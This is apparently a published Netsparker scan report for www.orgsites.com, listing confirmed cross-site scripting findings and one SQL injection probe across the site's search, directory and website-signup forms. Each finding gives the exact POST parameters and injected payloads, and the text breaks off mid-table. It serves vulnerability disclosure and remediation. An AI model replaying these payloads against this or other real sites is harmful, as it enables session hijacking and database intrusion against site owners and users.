VULNERABILITIES
Vulnerabilities
CRITICAL
1 %
IMPORTANT
40 %
LOW
15 %
INFORMATION
44 %
XSS, SQL Injection, Cross Site Scripting in www.orgsites.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARYPublic Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK SearchLoading
Netsparker - Scan Report Summary
|
||||||||||
|
Total Requests39487Average Speed2.54 req/sec. |
181
identified
68
confirmed
1
critical
80
informational
|
||||||||
DORK TESTSDORK TESTS
|
||||||||||
|
Authentication
Scheduled
|
|||||||||
VULNERABILITIESVulnerabilities
|
||
|
|
CRITICAL
1 %
IMPORTANT
40 %
LOW
15 %
INFORMATION
44 %
|
|
|
- /index.html
/index.html |
| Parameter | Type | Value |
| FullSearch | POST | GO |
| gcity | POST | 3 |
| gstate | POST | ALL |
| keyw | POST | '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +' |
| neighborhood | POST | ALL |
| sts | POST | E |
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| neighborhood | POST | '"--></style></script><script>alert(0x000114)</script> |
| SRCname | POST | Smith |
| sts | POST | Y |
| ZipSearch | POST | Go! |
| zzzip | POST | search |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| neighborhood | POST | ALL |
| SRCname | POST | '"--></style></script><script>alert(0x000166)</script> |
| sts | POST | Y |
| ZipSearch | POST | Go! |
| zzzip | POST | search |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| FullSearch | POST | GO |
| gcity | POST | '"--></style></script><script>alert(0x00034A)</script> |
| gstate | POST | ALL |
| keyw | POST | 3 |
| neighborhood | POST | ALL |
| sts | POST | E |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| FullSearch | POST | GO |
| gcity | POST | 3 |
| gstate | POST | '"--></style></script><script>alert(0x000375)</script> |
| keyw | POST | 3 |
| neighborhood | POST | ALL |
| sts | POST | E |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| FullSearch | POST | GO |
| gcity | POST | 3 |
| gstate | POST | ALL |
| keyw | POST | '"--></style></script><script>alert(0x000455)</script> |
| neighborhood | POST | ALL |
| sts | POST | E |
|
- /_TOOL_eformH.php3
/_TOOL_eformH.php3 CONFIRMED |
| Parameter | Type | Value |
| cbody | POST | 3 |
| POST | netsparker@example.com | |
| fname | POST | '"--></style></script><script>alert(0x000464)</script> |
| NEadd | POST | Y |
| Zmail | POST | SEND IT |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| FullSearch | POST | GO |
| gcity | POST | 3 |
| gstate | POST | ALL |
| keyw | POST | 3 |
| neighborhood | POST | '"--></style></script><script>alert(0x000489)</script> |
| sts | POST | E |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| neighborhood | POST | '"--></style></script><script>alert(0x002550)</script> |
| sts | POST | E |
| SRCname | POST | Smith |
| zzzip | POST | search |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| keyw | POST | '"--></style></script><script>alert(0x00255A)</script> |
| neighborhood | POST | ALL |
| gstate | POST | ALL |
| gcity | POST | 3 |
| sts | POST | Y |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| keyw | POST | 3 |
| neighborhood | POST | '"--></style></script><script>alert(0x00258A)</script> |
| gstate | POST | ALL |
| gcity | POST | 3 |
| sts | POST | Y |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| keyw | POST | 3 |
| neighborhood | POST | ALL |
| gstate | POST | '"--></style></script><script>alert(0x002593)</script> |
| gcity | POST | 3 |
| sts | POST | Y |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| keyw | POST | 3 |
| neighborhood | POST | ALL |
| gstate | POST | ALL |
| gcity | POST | '"--></style></script><script>alert(0x0025A3)</script> |
| sts | POST | Y |
|
- /index.html
/index.html CONFIRMED |
| Parameter | Type | Value |
| neighborhood | POST | ALL |
| sts | POST | E |
| SRCname | POST | '"--></style></script><script>alert(0x002620)</script> |
| zzzip | POST | search |
|
- /_TOOL_eformH.php3
/_TOOL_eformH.php3 CONFIRMED |
| Parameter | Type | Value |
| cbody | POST | 3 |
| POST | netsparker@example.com | |
| fname | POST | '"--></style></script><script>alert(0x002959)</script> |
| Zmail | POST | SEND IT |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | '"--></style></script><script>alert(0x00298D)</script> |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | '"--></style></script><script>alert(0x002992)</script> |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | '"--></style></script><script>alert(0x002995)</script> | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | '"--></style></script><script>alert(0x002998)</script> |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | '"--></style></script><script>alert(0x00299C)</script> |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | '"--></style></script><script>alert(0x0029A1)</script> |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | '"--></style></script><script>alert(0x0029A4)</script> |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | '"--></style></script><script>alert(0x0029A7)</script> |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | '"--></style></script><script>alert(0x0029A9)</script> |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | '"--></style></script><script>alert(0x0029A3)</script> |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my Directory Listing! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | '"--></style></script><script>alert(0x0029AC)</script> |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | '"--></style></script><script>alert(0x0029B1)</script> |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | '"--></style></script><script>alert(0x0029B3)</script> |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | '"--></style></script><script>alert(0x0029B6)</script> |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | '><script>alert(9)</script> |
| POST | netsparker@example.com | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my Directory Listing! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Directory.php3
/002_Directory.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | '"--></style></script><script>alert(0x002A3E)</script> | |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| MAINurl | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| body | POST | 3 |
| keyw | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my Directory Listing! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
| DirFLAG | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | '"--></style></script><script>alert(0x002A8B)</script> |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | '"--></style></script><script>alert(0x002A81)</script> |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | '"--></style></script><script>alert(0x002A8E)</script> |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | '"--></style></script><script>alert(0x002A91)</script> | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | '"--></style></script><script>alert(0x002A8F)</script> |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | '"--></style></script><script>alert(0x002A9E)</script> | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | '"--></style></script><script>alert(0x002AB1)</script> |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | '"--></style></script><script>alert(0x002AB2)</script> |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | '"--></style></script><script>alert(0x002AB5)</script> |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | '"--></style></script><script>alert(0x002AB7)</script> |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | '"--></style></script><script>alert(0x002ABA)</script> |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | '"--></style></script><script>alert(0x002ABC)</script> |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | '"--></style></script><script>alert(0x002AC1)</script> |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | '"--></style></script><script>alert(0x002AC4)</script> |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | '"--></style></script><script>alert(0x002AC7)</script> |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | '"--></style></script><script>alert(0x002BBF)</script> |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | '"--></style></script><script>alert(0x002BC9)</script> |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | '"--></style></script><script>alert(0x002BD4)</script> |
| street | POST | 3 |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | "><script>alert(9)</script> |
| city | POST | 3 |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
| email2 | POST | netsparker@example.com |
| user | POST | 3 |
| passwrd1 | POST | 3 |
| passwrd2 | POST | 3 |
| title | POST | 3 |
| street | POST | 3 |
| city | POST | '"--></style></script><script>alert(0x002C0B)</script> |
| state | POST | 3 |
| zip | POST | 3 |
| phone | POST | 3 |
| addrQ | POST | N |
| phnQ | POST | N |
| mapQ | POST | N |
| body | POST | 3 |
| ccatg | POST | Animals |
| dir_name | POST | Smith |
| submit | POST | DONE ...Give me my site! |
| country | POST | USA |
| valp | POST | not_used |
| subs | POST | Y |
|
- /002_Website.php3
/002_Website.php3 CONFIRMED |
| Parameter | Type | Value |
| firstN | POST | 3 |
| lastN | POST | 3 |
| POST | netsparker@example.com | |
